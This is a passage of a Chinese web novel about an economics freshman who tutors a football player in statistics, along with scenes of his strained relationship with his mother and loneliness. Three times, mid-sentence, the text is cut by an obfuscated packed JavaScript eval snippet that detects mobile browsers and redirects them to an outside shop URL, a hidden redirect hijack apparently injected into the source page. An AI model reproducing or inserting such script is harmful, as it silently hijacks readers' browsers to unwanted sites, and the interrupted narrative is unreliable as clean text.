电视机的两边各有三座玻璃展示柜,里头摆满了各种模型和手办,左边三座里的人物全都来自日本动漫;右边三座则来自欧美游戏,电影。在角落里,甚至摆着两座真人大小的蝙蝠侠及风暴兵塑像,墙壁两边则是顶天立地的玻璃立柜,里面全都是大大小小的乐高模型。 云决明怀疑他根本不敢带任何一个来自橄榄球队的朋友来这儿。 “我妹妹应该在楼上她自己房间里,这个地下室的另一半是她的,被她改造成琴室和舞蹈室了。喏,看,就在那边。” 云决明顺着他手指的方向望去,那儿果然有扇房门,上面挂了一个大大的牌子,写着“男生止步(No boys!)”。旁边还有两扇房门。 “别管那牌子,她正叛逆呢,”艾登笑了几声,“一跟我生气了,她就躲在里面,这规矩连我爷爷都适用,让他伤心得不行。” 云决明发觉有个家庭成员一直没被他提起,但既然对方不说,想必是有难言之隐,他也没有询问。 桌子和地毯都被清理干净了,艾登拿了两个抱枕过来,又丢给他一床毯子。云决明刚狐疑地嗅了嗅,就听见对方说,“这是今天早上才从烘干机里拿出来的。”这才放心地披在腿上。地下室有暖气,但仍有一股挥之不去的冰寒弥漫空中。 看在五百美金一小时的份上,云决明还是教得很尽心尽力的,来之前他还特意整理出了一份复习大纲,从最基本的知识点讲起。 艾登没有他想象中那么笨,事实证明,他只是不适应凯斯勒教授那种死板又严厉的教学罢了。很多难点凯斯勒教授只说一遍就草草了事,连云决明有时都不得不自行找中文资料来帮助理解。他的第一母语不是英语,始终是看中文学得更快。 “干脆你去代替凯斯勒教授上课好了,”一个小时以后,艾登丢下笔,揉了揉眼睛,伸了个懒腰,“我觉得你讲得比他清楚多了,原来统计学也没那么难嘛。” “别太自大。”云决明整理着杂乱的草稿纸,闻言平静地回了一句,“这都是基础,甚至还没有学完凯斯勒教授在第一节课上讲的内容。” “‘给我的教授打分’网站上说,上完他的课,连统计学102都不必学了。他能在一学期里上完两节课的内容。”艾登倒在地毯上,他乱糟糟的浅棕色头发几乎与地毯融为一体,腹肌在掀开的T恤下若隐若现,“我给他的评论点了个赞,转头就给了凯斯勒教授一星的评价。” “我给了他五颗星。” “什么?”艾登一个鲤鱼打挺坐起,那双长腿差点把几桌踢翻,“为什么?就是你这样打五星的人,才会哄骗一代又一代的学生抱着侥幸心理去上他的课——” “他很公平,这对我来说就足够了。”云决明不愿多谈,“反而是你,怎么等到了大二才开始上10开头的必修课?” “大一春季学期就上了,只是挂科了。接下来有橄榄球赛季,我没有多少空余时间,只能等到这学期再修一次。这就是为什么我愿意付五百美金一小时的价钱的原因。再挂一次,我就要延毕了。” “你的专业是什么?” 他以为自己会听见类似于通识(General Studies)或者是体育运动这类橄榄球队明星通常会选择的专业,这些专业只是要求必须修两门数学类目下的课,不一定局限于统计学。意味着学生可以选择初级微积分101和102,轻松过关,而且这两门可以选择在同一个学期上,就不必延毕了。 云决明刚想把这个建议告诉对方,万一他再挂科了,有这条退路,也许就不会过于苛责自己,就听见对方开口了—— “犯罪司法专业。” 4. Chapter·Four 这个回答似乎让云决明很惊讶。 他抬起头来,黑亮亮的眼里难得的有了一丝波动,大部分时候那都是道深渊,只懂得冷漠地注视世界。拒绝被别人接近,也拒绝接近别人。 “怎么了?” “没怎么。”云决明又继续收拾桌子去了,他很仔细地将草稿纸分为了好几类,用来计算的是一类,用来解答习题的是一类,被艾登随手拿来涂鸦的又是另一类,“只是……一般橄榄球队队员都不会选择这种比较辛苦的专业。” 艾登有自己的理由,但没有必要告诉对方。“我就是喜欢这个专业而已,觉得很有意思。”他笑了笑,“你的专业呢?” “经济。” “你喜欢吗?” 云决明愣了愣,“说不上什么喜欢不喜欢,”他把笔记推到了桌子中央,“我们该继续了。” “不喜欢为什么要选它?” “好找工作,钱多。” 这个理由倒是没法辩驳。 云决明从笔记里抽出了一张纸,递给了他,“这是我在网上下载的一份调查数据,计算出它的频数分布表。” 一到补习的时候,他又会换回英文,因为艾登听不懂一些特定的中文词汇。他教学的风格就跟他本人一样,冷淡又简明,总是扼要地直击重点,多余的寒暄一句都不会说,也不打听自己的家事。 这反而让艾登对他有些好奇。 刚从书包里掏出一本书的云决明突然抬头瞪了正在偷看的他一眼,“别分神,专心点。” “汀克溪的朝圣者?”艾登瞥见了封面,“这本书对大一的新生来说可有点难度。” 他在高中时就写了关于此书的论文。当时艾登自认为写的很好,他引用了来自一百多位哲学家的思想和信条,来分析这本书中的种种诗意象征,甚至不惜动用语言学的知识解构书中的暗喻及对比,但他的老师只留下了一句评语,“艾登,你对这本书而言还不够成熟。”让他很不服气。 云决明将要翻开书页的手指犹豫了,“你怎么知道我是大一新生?” “你说起大二学生还来上10开头课程时那个充满侵略性的语气,就足以说明你对这件事的态度。要是你也跟我一样是个大二学生,你才不会有这种心态呢。”艾登得意地笑了,“怎么,对一个犯罪司法专业的学生来说,这点推理还不赖吧?” “做你的题去。”云决明轻晒道,他对任何形式的赞美及鼓励都吝啬得很,一句也不肯给。艾登怀疑他从来没在父母那儿得到过任何称赞,也许他忧郁淡漠的性格也源自于此。当妈妈亲昵地与自己嬉笑时,艾登注意到云决明失落地转开了视线,如同站在橱窗前的孩子,知道自己无法拥有透亮玻璃后精致的玩具,因此便扭过头不看。所以他才将妈妈赶开了。 “不会是英语课121或122的要求读物吧?”要果真如此,他得去查查云决明教授的名字,好让以后的学生避避雷。 “不,”云决明已经翻开了书页,他的书签很奇特,是枚用于汽车的圣诞树形状芳香片,“这是英语文学鉴赏课的要求读物。我们这周要看完三本书,《汀克溪的朝圣者》,塞缪尔·德拉尼的《特里顿》,还有托妮·莫里森的《所罗门之歌》,下周不仅要交上三份不少于八页的书本综述,解析与感想,还要交一份分析七十年代美国文学发展风格的论文。所以时间有点紧张,你不介意吧?” 他顺手扬了扬手上的书,意思是想在上课途中争分夺秒地看上几页。 艾登发觉云决明要是被迫要说上很长的一大段话,就会说得飞快,仿佛是为了掩盖自己的紧张一般。 “不介意,当然不介意。”艾登埋头继续做题,在计算器上一个一个地把数字输进去。计算器会自动给出所有的结果,需要他做的是根据结果来画图。这个过程很枯燥,只听得见云决明翻书页的声音。艾登先前曾经提议过放点音乐,却被他无情地否决了。他想学着转笔,也被阻止了。 但枯燥能带来专注,专注则能提升速度。只花了几分钟,艾登就做完了。他向自己的家教望去,却发现对方完全沉浸在了书本的字句中,没有注意到他。阅读时,云决明的神色反而柔和了,好似一只小兽,以为没人能瞧见,便放松地露出了肚皮。视线偶尔扫过一两行文字时,还会露出淡淡的笑意。 让一个才认识的人来家里为艾登辅导功课,妈妈其实是有顾虑的。 “你确定他值得信任吗,艾登?”那天晚上回家他宣布这个消息时,妈妈忧虑地问了一句,“别忘了你还有一个上高中的妹妹,你可不能随便带男生回来。” 还有另一层忧虑妈妈没有说出,只是藏在双眼深处。自从十年前那场变故发生后,她就对任何企图接近这个家庭的陌生人很警惕。 艾登知道这一点,这就是为什么他从不带任何橄榄球队队员回家。杰森是个很不错的球员,也是个有领导能力的队长,但他对女人的态度实在不敢恭维,艾登不想因为自己的妹妹跟他起冲突。 “放心吧,妈妈。”他接过母亲递给他的热可可,细心地帮她将一绺垂下的头发收拢到耳后,“你的儿子的眼光不会错的。” 只在统计学课上交谈了几句,但艾登已经观察到了不少信息。 内敛,寡言,戒备,疏离,勤奋,聪明。 经济虽不窘迫,但也没到能大手大脚的地步。 内敛意味着他即便察觉了异样,也不会随便宣扬;寡言就不会八卦多话;戒备表示他不会随便打听别人私事;疏离说明他对别人的私事也不感兴趣;勤奋,聪明,是一个好的家教最起码必备的品质。紧张的花销则让他能被高额的酬金打动。 考虑到以上这几点,艾登才提出了让他来辅导自己统计学的建议。 目前来看,他的判断还是很正确的。 “怎么了?”云决明终于察觉了艾登的视线,不悦地抬起头来,“你怎么有喜欢盯着别人一个劲看的毛病?” 说着,他似是下意识地抚摸了一下嘴唇。 “别紧张,”艾登赶紧解释道,“我只是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041181|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想打搅你看书,并不是——并不是因为那个吻。” 那个吻其实还不错。 当时酒瓶停在了两个女孩中间,她们争执着瓶口指的到底是谁,彼此互不相让,最后便要求他各吻一次。这么一来,便轮到别的男生不干了,嚷嚷着这不符合规则。他不记得是谁,但有把声音叫那两个女孩别争了,酒瓶明明指着的是他们身后的那个男生,艾登该去亲吻他才是。 人群当场便沸腾了,许多人尖叫大笑起来,“敢不敢吻?!”另一个橄榄球队员兴奋地嚎叫着,“艾登!愿赌服输!你敢不敢吻?” 换做是平时的他,一定会坚持不要把这个游戏以外的人牵扯进来。但他的理智那时已被酒精诱惑私奔,判断力则是一同带走的陪嫁。他知道会来杰森派对的都是一群玩咖,绝不会在意被一个男人亲了这种事,甚至会视为是一个在社交媒体上大火一把的机会。“亲就亲,”他说,“你们等着。” 那是艾登第一次亲吻另一位男性。 他做好了体验会很糟糕的心理准备——胡子拉碴的下巴,干燥粗糙的嘴唇,甚至可能会有口臭。而且完事后对方说不定会给他一拳。就把对方想象成个女孩就好,艾登这么安慰自己,猛地就亲了上去。 他首先品尝到的是须后水的清香,带着一点淡淡的薄荷牙膏味。 对方的嘴唇很冷,却也很软,薄薄如两片细柳,眨眼就能品尝完,这样反而让人想要回味——这种想法明显是上头的酒精带来的,幸好残余的那么一点意志力让他放开了手。 直到对方离开,艾登都仍然有点恍惚。事后想想,也许有人往酒里掺了点不该掺的东西,否则难以解释那晚他的一切行为——譬如把亲吻一个男孩的体验评价为“还不赖”。 “那个吻?”云决明皱了皱眉头,“提它干嘛,我都要忘了这回事了。” 忘了?难道他喝醉后吻技糟糕到了这种程度?艾登有点不爽,但也不至于在这种事情上纠结。“我做完了,”他咳嗽一声,把草稿纸推了过去,“你看看。” “等我一下,”云决明站起了身,“我得去上个厕所。”他从笔记本里又抽出了一张纸,“这里是我列出的应用问题,根据你刚才列出的频数分部表来回答这些问题,把计算过程写下来。” “厕所这儿就有,”艾登指了指走廊,“就在我妹琴房旁边。” 云决明起身去了,艾登的视线转回题目上。他听见房门打开的声音,突然记起忘了提醒对方要把马桶盖放下来,他妹妹偶尔也会使用那间厕所,一旦发现马桶盖是掀开的就会极其抓狂。 “嘿,云决明,你得——” 他发觉对方打开了错误的房间门,正一动不动地站在门口,愣愣地打量着门内的一切。 艾登从地毯上一跃而起,几步冲了过去,伸手覆在云决明还握在门把手的手上,拉上了房门。 “厕所是旁边这扇门,”他说,懊恼自己竟然会忘了锁门,语气无可避免地冷了下来,“你最好记住,这样下次就不会走错了。” 5. Chapter·Five 钥匙在门上转动的声音很轻,推开门的声音很轻,走进来的脚步更轻。 云决明在进门前就脱下了鞋子,他在黑暗中摸索着找到了自己的拖鞋。客厅没开灯,全靠从走廊透进来的光朦胧地照亮了一点轮廓。他掏出手机看了看时间,已经23:47了。 离开艾登家时是22:40分,即便走约州收费高速公路,他家距离云决明家也有一个小时的路程。不过,云决明平时去学校也要开这么久的车,他已经习惯了。 这个时间,只怕住在家里的租户和母亲都熟睡了。云决明熟门熟路地避开那些会吱呀作响的木地板,蹑手蹑脚向楼梯走去。看来今晚是没法洗澡了。他心想,干脆把《汀克溪的朝圣者》的“错综复杂”章节剩下的部分看了,就直接睡吧。明天一大早他还有课。 云决明喜欢挑选早上的课时,能逼迫他早起。这是他选择凯斯勒教授的其中一个原因。 “妈?” 走到楼梯口,他才发现光线的源头来自走廊另一头的小会客厅,他的母亲正坐在一把老式的扶手椅中。落地台灯低垂着脑袋,将光线温柔地抖落在《圣经》的书页上。听见他的呼唤,母亲倏然惊醒,书本从她手中滑落,在木地板上发出一声沉闷的响声。 云决明捡起书本,“怎么还没上楼休息?” “看着看着就睡过去了。”母亲说,她应该与艾登妈妈的年纪相当,看起来却苍老许多,两鬓的黑发隐有灰意,眼角细纹像是床单上无法抚平的褶皱,耳上带着的金饰随着她整理腿上毛毯的动作微微晃荡。她从不取下这对耳环。据她说,她两三岁的时候就穿了耳洞,金环是由她的奶奶专门融了一枚戒指为她打的,因此她非常珍爱。 也许是因为瞧见了艾登与他妈妈之间的亲昵,云决明突然难以抑制地产生了某种冲动,他蹲下身去,将书本放在一旁的矮桌上,伸手握住了母亲冰凉的双手,“坐久了,腿麻不麻?让我扶你上楼去休息。” 他很少会对母亲主动示好,至少在他的记忆里,一次都没有。 然而母亲把手抽了回去,自己撑着扶手站了起来,“我又不是七老八十,走不动路了要人帮,”她晒道,“腿麻了活动两圈就好了。” 云决明慢慢把手收了回来。 “有件事我想跟你说。” “不能等明晚吗?你看看现在都几点了,搞得这么晚回来,也不知道去哪里了。你吃晚饭没有?要不要我给你炒几个菜?” 母亲厨艺不佳,炒菜不是欠点火候,就是味道上差强人意。能吃,只是不好吃。这个提议对云决明来说毫无吸引力,他摇了摇头。 “我去给别人补习了——这就是我想跟你说的事,这份工作得的钱不少,我应该这个学期末就能存够钱,找到合适的公寓,搬出去住。你可以开始在报纸上刊登广告,准备把我的房间租出去了。” 自从与他的继父离婚后,他的母亲就没有出去工作,日常开销与税费全都靠把家里的三个房间外加地下室出租赚钱。云决明现在住在次卧,和一个正在U大念研究生的男生共享客卫。主卧之一租给了一位上班族,云决明从来都见不到他,因此也懒得去记他的名字。一楼的客房住着的是个正在念护士专业的女生,这会正在医院实习,好几天都不见人影。地下室则租给了两个老白,他们都在超市打工,收入很低,但为人还算和善。云决明和他们的关系也仅限于在厨房遇到时会点点头而已。 他搬走后,他的房间租金最少也能给母亲多带来每个月五百块的收入,能让日子宽裕不少。 “你打算住到哪儿去?”如果说这个消息让母亲有点吃惊的话,她也没有表现出来,只是绕圈的步子放慢了一些。小会客厅和餐厅是连着的,她从扶手椅这儿走到餐桌的另一头,又绕过餐桌再走回来,一边瘸着走,一边揉着大腿。 “也许找个离学校近一点的公寓,”每天往返一个小时的路程会给他的车增加不少里程数,以后就不好卖个不错的价格了,“这样我能轻松一点。” “挺好的。”母亲沉默了几秒钟后,说道,“你什么时候找好了,就什么时候跟我说一声。现在大家都要现房,急得很,没人再提前几个月在报纸上慢慢找了。” “好。”云决明应了一声,看着母亲向自己走来,想要扶在母亲肩膀上拍一拍的手最终只是抬起来揉了揉鼻子,“那我上楼了。” “对了,我要跟你说一声,”母亲突然出声了。她总是这样,换成别人要说话的时候,就催着别人注意时间。但若是她自己想说什么,时间的早晚倒不重要了,“今年过年,家里的租客全都要出去。小陈要跟他的研究生同学聚会;魏先生要去他女朋友家过年;小琦那天要在医院工作;地下室里那两个老白都在超市值班。没人在家,只有我跟你,我就懒得弄什么花样了,随便做一点,凑合着吃,就当普通的一天来过,跟从前一样。” 云决明没说话,他藏在衣兜里的手又捏成了拳头。 跟从前一样,是吗? 可他还记得真正的中国年是怎么过的。 不是这样冷冰冰,三言两语就打发了的。 过年是热闹的花市与庙会;是贴在金桔树上的红利是;是摆在窗台上娇艳绽放的水仙花;是没有人吃却仍然年年要做的大龙糕;是年三十寺庙里的人声鼎沸;是在小区游乐场里一甩就响的鞭炮;是在观音尊像前萦绕不去的佛香味;是小姨与姨夫牵着他的手,四处拜访亲戚兜利是;是他一年到头最期盼的节日。 但这一切到他十一岁时就结束了。 他未曾谋面的母亲回到了祖国,把他从此生唯一拥有的家庭中带走,前往另一个陌生的国度中生活。从此过年只是早上起床在枕头旁发现的利是,一句互道的新年好,以及晚餐桌上多出现的盆菜。继父不允许庆祝中国的节日,也不许在家说中文。因此他和母亲都必须把这当成是寻常的一天,只准泄露出一点继父绝不会注意到的迹象。 直到离婚后,家里多了租户,母亲又订了有线电视台的服务,终于能看上春晚转播,过年才再次被提及。年轻人借此抒发思乡之情,中年人借此找回一点与祖国的联系,老白只是来凑个热闹,蹭个饭菜。当一桌不像样的年夜饭结束后,小陈和他的朋友们总会拿出在美国国庆节攒下的鞭炮,在后院燃放,算是最像过年的一部分。 云决明总是远远地看着他们,他的眼里倒映着四溅的美丽火花,如此闪烁又如此热闹,但他已不再是当年的那个十一岁男孩。 “好。”他干涩地应了一句,不知道自己还能说什么。 “赶紧去休息,别洗澡了,等下吵着别人。” “好。” 母亲摆了摆手,这便是晚安了。云决明木然地往楼上走去。同一句话第一千零一次地掠过他心头,他第一千次零一次地保持了沉默,没有说出。 倘若那时她就这么将自己丢在国内,当自己从未生过这个儿子,或许才是一个称职的母亲该做的。 至少如今他会快乐许多。 把自己丢在床上,想要阅读的心情烟消云散,他甚至懒得把衣服换下。房间里的暖气没有打开,寒气似蚂蚁爬遍全身,噬咬着往毛衣里钻。手机从大衣衣袋里滑出,已经00:08分了,他只剩下六个小时不到的时间睡觉,但云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041182|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决明没有困意。 我活着究竟是为了什么?我如今在做的一切都是为了什么? 昏暗的天花板没有回应,被风吹得微微震响的玻璃没有回应,整齐冰冷的被褥没有回应,云决明自己也没有答案。 保持最好的成绩,拿全额的奖学金,都是为了不要给母亲添麻烦,不要让母亲失望,免得她觉得自己隐忍牺牲一切带来美国的儿子原来是个废物。好,这个理由成立。 可毕业以后呢? “大学毕业以后,你的人生才正式开始,”高中的学业顾问这么告诉他,“你可以探索各种各样你想要做的事情。” “那都需要钱。”云决明冷漠地回答。 “所以你就得努力工作,一边工作一边进行各种尝试。你的成绩很好,为什么不试试看经济专业呢?这个专业好找工作,薪酬也很可观。” 于是,他申请了经济专业。 别人努力工作是为了更好的生活,为了住上更大的屋子,为了娶到更美的老婆,为了自己的孩子能有一个更光明的未来——云决明一样都不想要,让他在中国餐厅里洗刷盘子也好,还是在华尔街当一名精英也好,只要能养活自己,他都无所谓,都能干。但他已经找不到自己活着的意义。 如果刷盘子就能满足他所有的需求,那又何必强迫自己成为人上人。 如果他的需求如此平庸又不值一提,仅仅只要能活着就好,那又何必继续苟延残喘?这么做到底能有什么意义? 艾登一定有很多理由活着。 这个念头突然擅自闯入。 他叹了一口气,翻了个身。 没有任何缘由地,他突然解锁了手机,点开了Instagram。几个小时以前,艾登发布了一张公开照片,是他与一块甜甜圈的自拍。“教授不给吃任何甜食,”他在下面写着,“因此只能与这个美人合影留念。” 云决明关注了艾登,他之前就已经看到了这条更新,此时又多看了几眼。 照片上他笑容极其灿烂,栗子色的眼睛微微眯起,左右各有一个酒窝,浅棕色的发丝有几根吹拂到了脸颊上,下巴上还沾了点巧克力酱。和真人比较起来,这张照片连艾登一半的英俊都没有体现,但已经得到了五百多个赞,还有不少女生在底下留下了双眼冒爱心或眯眼吐舌头的表情符号,最新的一句留言是“我想看你把衣服撩起来,然后把巧克力酱涂抹你的全身”。 这大约就是活着的意义之一,有人真情实意地想要你存在,想要你活着,好把你的衣服撩起,然后涂抹上巧克力。云决明的Instagram账户里什么照片都没有,但即便他发了与甜甜圈的自拍,也不会有人这么评论。关注他的只有几个三无小号,多半都是机器人。 他想起自己在艾登地下室见到的那一幕。 那个房间不大,原本应该是储藏室,却被改造得跟个电视剧里的侦探房间一样,整一面墙壁上都贴满了照片,彼此之前用不同颜色的丝线联结着,墙前放着一张宽大的书桌,一头是台有三个屏幕的电脑,另一头则堆满了各种与犯罪学有关的书籍,以及像是打印好的论文般的资料,将整个桌面堆得满满当当的。云决明瞥到角落里放着一个相框,但还没等他来得及看清,门就被艾登关上了。 那还是他第一次听见眼前这个男人用那么冰冷的语气说话,警告他不要再打开这扇门。 他直觉,艾登会选择犯罪司法专业,就跟门后藏着的秘密有关。 可那又如何呢?云决明既不在乎,也不想关心。 毕竟, 他连自己究竟为何要活着,都不知道。 6. Chpater·Six 云决明是在英语课上收到消息的。 他感觉到自己的裤兜震动了几下,过了十几分钟,又震了两下,但他没有理会。 多半是安珀警告,他心想,或者是诈骗消息。云决明在学校没有朋友,团队项目和实验室项目的搭档全靠邮件联络,从来没有人会给他发信息。如果母亲有事,她会直接打给他。 下课后,他立刻匆忙地离开了。两节课之间只隔了十分钟,但他要从校园这头的贝克厅一路赶到另一头的数学与科学中心大楼去上课。抓起书包,云决明一路狂奔,路上像他这样赶着去上课的学生不少,有许多都带了滑板,一路风驰电掣,同时还高喊着“借过!借过!”像一队气势磅礴的鸵鸟般穿过学生大道,惹得学生纷纷避让。 可惜云决明没有多少运动细胞,玩不来滑板,自行车又放不进他的车后座,因此只能跟在这些学生后面,恍若正沿着摩西分开的红海中央奔跑。下过雪的石板路过了夜以后结了一层薄薄的冰,云决明跑着跑着便时不时打滑一下,中间有一段路,是一条长长的缓坡,他几乎是侧着身子滑下去的,幸好没有摔倒。 顺利的话,只要花八分钟就能抵达。今天云决明只用了五分钟,当他喘着气走进教室的时候,教授还没来呢。 这时候,他才记起自己收到的消息,把手机从裤兜里掏了出来。 “艾登给你发来了四条信息。” WhatsApp的提示挂在手机屏幕的最上端。 云决明怔了几秒,他都不记得自己什么时候下载了这个app。 解锁手机,空无一人的WhatsApp联系人列表上,只有对方灿烂的笑容突然出现在最顶端,旁边跟着一句,“Hello????”。 云决明点了进去。 “跟杰森谈过了,你的社会学团队项目问题解决了。” “别错过你的作业截止时间。” “嘿,这也算帮了你一个大忙了,难道我都不能得到一句谢谢吗[笑哭脸][笑哭脸]?” “Hello????” 这个人,难道以为别人都不上课的吗?云决明有些好笑,回了句,“刚才在上课,谢谢你。” 艾登的回复来得比他想象得快的多。他刚放下手机,就听见一声震动。 “你上课的时候居然不看手机?” 云决明懒得回答这个显而易见的问题,他忙着把iPad拿出来,并点进教授指定的学习网站——校园里有像凯斯勒教授那样的老派人,也有像云决明微积分课教授这样喜欢用高新科技的前卫者。每节课前他都会在网站上给学生布置小测。正在他准备登陆的时候,iPad叮了一声——显然,他也在iPad上下载了WhatsApp,吓得他赶紧手忙脚乱地把声音关掉了。 “Hello?你不会又开始上课了吧?” 云决明的iPad连接着键盘,他用键盘打字比用手机快的多,顺手回了一句。 “马上就开始了。” 想了想,他又发了一句过去。 “你不是应该正在进行橄榄球训练吗?”昨晚他随口问了对方一句为什么偏要选择凯斯勒教授的课,知道了艾登每天下午都要进行训练——NCAA对大学橄榄球队春季训练有严格的标准,大多数时候他们的训练指的都是在体育馆室内看录像及做力量练习。 “今天训练场地要让给学校的女子篮球队进行选拔赛,有一部分从高中就被选拔上来的女子篮球队员要来学校参观。所以训练取消了。看来你真是对学校里发生的事情一无所知。”艾登回复的速度飞快,“我和其他队员都要去杰森家里聚会。” 不知道艾登如果知道派对那晚杰森对他说的话,会有什么反应。这个想法像道闪电滑进他脑海,又迅速熄灭。你在想什么,他自嘲地问着自己,难道艾登会为了一个几乎算得上素不相识的人去跟他的橄榄球队长起冲突吗?他应该早就知道自己的伙伴是个不折不扣的种族主义者,杰森对自己会有什么态度几乎是预想得到的。 “你有Instagram吗?”艾登的消息又来了,“我搜了你的名字,但什么也没找到。” “有。” “告诉我。” “不要。” “怎么?是个秘密?” “我什么也没发,没什么好关注的。” “告诉我叫什么。”艾登对于自己想要的东西总是很执着,而且喜欢主动进攻,也许跟他是四分卫这一点有关。云决明直觉他是不会轻易放弃的,无奈地将自己的号发了过去。 “哈哈,想不到你早就关注我了。”艾登的回复两秒以后就来了,后面还紧跟着好几个大笑的表情,接着,是一张图片,上面是一只萨摩耶咧嘴大笑的模样,下面还有配字“Yeah!”。 “下午好啊,孩子们。”微积分课的教授走进了课室,他的问好只得到了几个学生稀稀拉拉的回应,有一半的学生还正聊得热火朝天。云决明赶紧把WhatsApp关了,点开了网页,等待教授宣布课堂开始。 但是这阻拦不了艾登的消息一条接一条地从顶上冒出。 在iPad上,云决明没有关闭显示消息预览,即便不点开app他也能看到对方说了什么。 “关注你了。” “天呐,你真的什么都没发,人们会觉得我的账户被黑了,然后关注了个机器人的。” “你昨晚说下一次辅导是周六晚上,给我一点时间完成统计课的作业。但这个周六是情人节,你没有安排吗?” 云决明正准备点开小测的手顿住了,他坐在最后一排,没人能看到他在测试途中转而去回复消息,但不知怎么地,他还是觉得有点心虚。 “没有。”他小心地用指尖触碰着屏幕,慢慢地打着字,教授给的题目都是选择题,用键盘打字未免会有作弊的嫌疑,“但如果你有计划的话,我可以改期。” 十分钟的小测,他往往能在两分钟内完成,然而他第一道题才看到一半,下一条消息又来了。 “我没有计划,那么补习就照旧了。” 堂堂橄榄球四分卫竟然在情人节没有任何计划?云决明有点惊讶,但这事与他无关,因此他简单地打了个好,又点回网页里去了。 “顺便说一句,我开车离开学校时见到你了。” 云决明没理,已经过去四分钟了,他才做到第二题。 “你张开双臂,像只大鸟一样飞快滑下那缓坡的样子实在太搞笑了,老兄。” 云决明心中倏然一惊,差点点了错误的选项。 “必须得说,你惊险地避开那拿着咖啡女孩的那一转真是太精彩了。我全程都在为你祈祷,千万别摔啊,千万别摔啊,看来上帝回应了我,哈哈哈哈哈哈哈。” 云决明呛了一下,猛地咳嗽了好几声。他自己都不知道是怎么避开那女孩的。准确来说,当他意识到前面是个缓坡的时候已经太迟了,根本来不及刹车,只好就这么硬着头皮,凭着身体本能反应地一路滑下去了,整个过程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041183|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中他吓得心脏狂颤,脑中只有一个想法——学校的保险不包牙医,万一他摔倒了磕掉半边牙怎么办? 他甚至没注意到那女孩手上有杯咖啡。 不知道要回复什么,云决明犹豫了好久。要是社交也像数学题目一样,不仅有好几个答案可供选择,还能通过精密的计算找出准确的那一个,就好了。他手指不停歇,很快就完成了小测,落在屏幕键盘上时却停住了,像个迷路的气球一样左右漂移。不回复也是个选项,但云决明总觉得自己该说点什么。 又不是每天他都会从一条缓坡上有惊无险地滑下去,途中精彩地避开了个拿着咖啡的女孩,这一幕还被目前世界上唯一会给自己发信息的人瞧见了。 斟字酌句后,他敲下了“谢谢”两个字。 马上,一张图片就弹了出来。上面是一条黑背伸出了爪子,嘴巴咧开,吐着舌头。下面是一行字“No Problem,dude。” 他忍不住露出了一丝笑容,心仿佛也跟着柔软了一点。 原来有个人可以发信息,是这种感觉。 母亲把他从国内带走以后,云决明每晚都要哭上很久才能入睡。他想念小姨,想念小姨夫,还想念小姨夫的父母——他管他们叫爷爷奶奶,虽说他们之间没有任何血缘关系。 因此,当母亲允许他在周末偶尔使用一台继父淘汰下来的诺基亚手机时,云决明干的第一件事就是拿出自己积攒的所有零花钱,去中国超市买了一张可以给国内手机号发短信的电话卡。 因为母亲不允许他往国内打电话。 “都出来了,”她这么说,“还惦记着国内的事情干嘛?” 趁着母亲买菜的时候,他一遍又一遍地向工作人员确认流程,当时发信息十分繁琐,要发到一个特定的号码上,再转发到国内。他把每个步骤都仔细记在了纸上,当晚就迫不及待地试了。 他能背得出小姨和小姨夫的手机号码,虽然爷爷奶奶没有手机,但没关系,他们跟小姨住在一起,也可以看到他发去的消息。 云决明思索了很久,短信不能太长,否则会一下子把电话卡里的钱全都消耗完。他只能简短地表达了自己的思念,并小心翼翼地询问小姨是否能把他接回去。“我可以自己比机票钱。”他天真地在短信的最后写到,他跟小姨一家才会说粤语“我好想返屋企,姨仔。” 他抱着电话伤心地睡去,满怀希望地醒来,以为能看到回复,手机上却什么都没有。 云决明固执地又发了一遍,又一遍,直到收到提醒,资费不足,无法发出消息。 下个星期,他每天早上都去给邻居除草,洗车,清理雨水槽,总算攒够了钱,又买了一张电话卡。在电话簿里确认了他的记忆没有错,再发了许多消息过去。 “求求你唔好揼低我系度,我真嘅好想返屋企,你要我做咩我都得,我会乖乖地。” 他哭着打下了这些话,字字如锥心之痛。 直到他最终死心放弃,知道自己已经彻底被抛弃,手机上都没有收到一条回复。 云决明的指尖轻轻拂过屏幕上咧嘴笑着的大狗,最终停在艾登的头像下。有暖意传来,让皮肤为之略略收紧。他知道那只是iPad在发热,却不由自主地想要自欺欺人,认为那是表情图带来的效果。 又或者,其实是那快乐地舒展开来的面容让他这么觉得。 “周六见。” 他轻轻敲下了几个字。 这一次,他知道,会有人回复的。 7. Chapter·Seven 星期六的清晨,手机在六点准时响起。 床头柜的历史恐怕与这栋房子一样古老,磨损了的木头表面与机身相互摩擦,发出刺耳的滋滋声,一下子就能把人从睡梦中惊醒,更何况云决明睡眠很轻。他摸索着找到手机,关掉了,继续把头埋在被子里,五分钟后还会有一次闹铃响起。他打算那时候再起来。 